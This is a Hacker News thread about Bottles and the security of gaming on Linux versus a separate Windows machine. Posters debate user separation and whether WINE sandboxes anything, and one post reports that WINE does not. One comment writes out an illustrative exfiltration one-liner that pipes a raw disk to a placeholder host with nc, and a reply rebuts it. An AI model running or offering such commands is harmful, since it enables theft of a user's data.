Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

Bottles – Run Windows software and games on Linux

github.com

Post reply on HN
Print view View original

51–60 of 106 posts

Re: Bottles – Run Windows software and games on Linux

#51

Post by hparadiz »

ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

This makes no sense. So you value your security but then choose to go with a less secure operating system?

You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important.

In contrast on Windows most games run as Admin or at some point ask for admin privileges.

Running games on Linux is not about security or time savings. It's about control. It's about being able to sit down and play your game without Windows having a hissy fit about Windows updates. It's about being able to just play without worrying that some bad patch from Microsoft will hose your entire setup. And it's about finally wrestling control over gaming away from a company that cares more about taking your money than actually letting you play games you already have.

And the more people we get running Linux for gaming the better everyone will be better off for it.

Re: Bottles – Run Windows software and games on Linux

#52

Post by hparadiz »

ddtaylor wrote: post #47
morsch wrote: post #29

Earlier quoted context omitted.

A separate Linux user would go a long way. You'd have to be very unlucky to get hit by a RCE in a game that's simultaneously targeted at Proton users.

Not really because it requires very esoteric configurations to avoid other users reading important files of yours. Unless you're willing to modify your default SSH (and other, apache, etc.) configurations out-of-the-box setup will leave all your data readable by other users.

In the linux world it's standard operating procedure to make a separate user/group for every service and ensure the file system is cognizant of that. And the default in ubuntu runs mysql with mysql user and nginx / apache with www-data as a user.

Re: Bottles – Run Windows software and games on Linux

#53

Post by Prunkton »

bodge5000 wrote: post #45
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

I've thought about doing something like this before, does your windows machine have its own keyboard, mouse and monitors or do you have some kind of switch involved? I haven't worked out a good way yet of using multiple monitors over two machines whilst sharing audio and input between the two

I have windows machine under the desk with no screen, keyboard etc. I connect remotely to windows via https://parsec.app/ it is super fast, it needs like 20ms via Ethernet (https://www.youtube.com/watch?v=DksBBlHzulY). As long you are no cs-pRogAMer you will be just fine and can access your full windows environment without the hardware hassle. The fullscreen encoding quality in H.256 is also pretty decent.

It also works via Internet out of the box with any shitty office notebook ;)

Re: Bottles – Run Windows software and games on Linux

#54

Post by laumars »

devwastaken wrote: post #34
morsch wrote: post #29

Earlier quoted context omitted.

A separate Linux user would go a long way. You'd have to be very unlucky to get hit by a RCE in a game that's simultaneously targeted at Proton users.

With PC gaming it's more of an issue of having to install all sorts of various software, including game mods, or the ever popular "hey try out my game" scams through discord. A popular one is distributing malicious unity assets. We don't realize that most of this stuff has little to no security, simply put just nobody exploits it. Dark souls series all had an online RCE and the game servers have been down for a while…

A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE.

1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE.

2. The amount of Windows software installed in WINE is limited. So you don’t have a large attack surface of Windows software. That not only limits the amount an attacker can do in the sandbox but also limits the surface area that further RCEs might exist

3. Even if you could escape WINE you’re then stuck with the problem that you don’t know what the host OS is. So you’re stuck with generalised POSIX or GNU. Which might still be common but far far less common than going after Windows users.

Re: Bottles – Run Windows software and games on Linux

#55

Post by q3k »

laumars wrote: post #54
devwastaken wrote: post #34

Earlier quoted context omitted.

With PC gaming it's more of an issue of having to install all sorts of various software, including game mods, or the ever popular "hey try out my game" scams through discord. A popular one is distributing malicious unity assets. We don't realize that most of this stuff has little to no security, simply put just nobody exploits it. Dark souls series all had an online RCE and the game servers have been down for a while…

A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE. 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of…

> 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of that Windows software running in WINE.

Are you sure about this? I was the impression that there's nothing preventing an .exe running under Wine from just issuing Linux syscalls, eg. execve.

EDIT: I just tested this, and indeed there doesn't seem to be any sandboxing:

cursed.c: https://gist.github.com/q3k/e5952111283ea59ee78a7699919a055b

cursed.exe (built in msys2): https://object.ceph-eu.hswaw.net/q3k-personal/b8159d43e0698d...

  $ wine cursed.exe
  hello from win32
  hello from linux
  hello from execve

Re: Bottles – Run Windows software and games on Linux

#56

Post by implr »

laumars wrote: post #54
devwastaken wrote: post #34

Earlier quoted context omitted.

With PC gaming it's more of an issue of having to install all sorts of various software, including game mods, or the ever popular "hey try out my game" scams through discord. A popular one is distributing malicious unity assets. We don't realize that most of this stuff has little to no security, simply put just nobody exploits it. Dark souls series all had an online RCE and the game servers have been down for a while…

A RCE in Windows software running on WINE wouldn’t have much benefit on Linux unless the attacker specifically knew said software was running in WINE. 1. WINE et al run in a sandboxed environment. You cannot execute other Linux software without then also finding an RCE in WINE. So that’s multiple RCEs needed in multiple points of the stack and the attacker needs to be aware that you’re running the uncommon set up of…

Not only there isn't any sandboxing, the lack of it is how WINE works - wine's low-level dlls (kernel32.dll for example) just call out to linux libs, or syscall directly.

Re: Bottles – Run Windows software and games on Linux

#57

Post by planb »

hparadiz wrote: post #51
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows…

Having an insecure os (not that I'd say that Windows is one) on a machine that does nothing else but gaming is still more secure than doing everything on the same machine.

Re: Bottles – Run Windows software and games on Linux

#58

Post by jcelerier »

hparadiz wrote: post #51
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows…

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows most games run as Admin or at some point ask for admin privileges.

Reminds me of https://xkcd.com/1200/ ; why would running games as admin matter in the slightest if your actually sensitive data, ~/Documents, is not even on that computer ? If it were on linux with another user, the game could still do `cat /dev/sda | nc evil.game.server` unlike here.

Re: Bottles – Run Windows software and games on Linux

#59

Post by turrini »

jcelerier wrote: post #58
hparadiz wrote: post #51

Earlier quoted context omitted.

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows…

> This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windo…

> If it were on linux with another user, the game could still do cat /dev/sda | nc evil.game.server unlike here.

That's not true. Only root can read directly a disk device, or an user that is on the 'disk' group:

brw-rw---- 1 root disk 8, 0 fev 1 07:50 /dev/sda

Re: Bottles – Run Windows software and games on Linux

#60

Post by revanx_ »

hparadiz wrote: post #51
ddtaylor wrote: post #23

Lutris, PlayOnLinux, Proton, etc. are all really cool. But, if you value your time and security, just keep a dedicated Windows system for gaming. I keep all the things I actually care about or don't want stolen on my Linux system with full drive encryption and I keep a gaming PC that has absolutely nothing I care about on it. The Windows system is never allowed to access my email, credit cards, or anything I care abo…

This makes no sense. So you value your security but then choose to go with a less secure operating system? You can easily install all your games on another user on your linux box and run as that user. Super easy and it won't have access to any of your main home directory files. In fact with this configuration it's a lot easier to ensure that the games are sandboxed away from anything important. In contrast on Windows…

I game on linux, it's not as secure as I would like it to be. I run everything under unprivileged container including steam, the problem is that for vulkan hardware renderer to work it requires direct access to the device and the linux kernel doesn't virtualize device access. It's a security nightmare as far as I can see.
Post reply on HN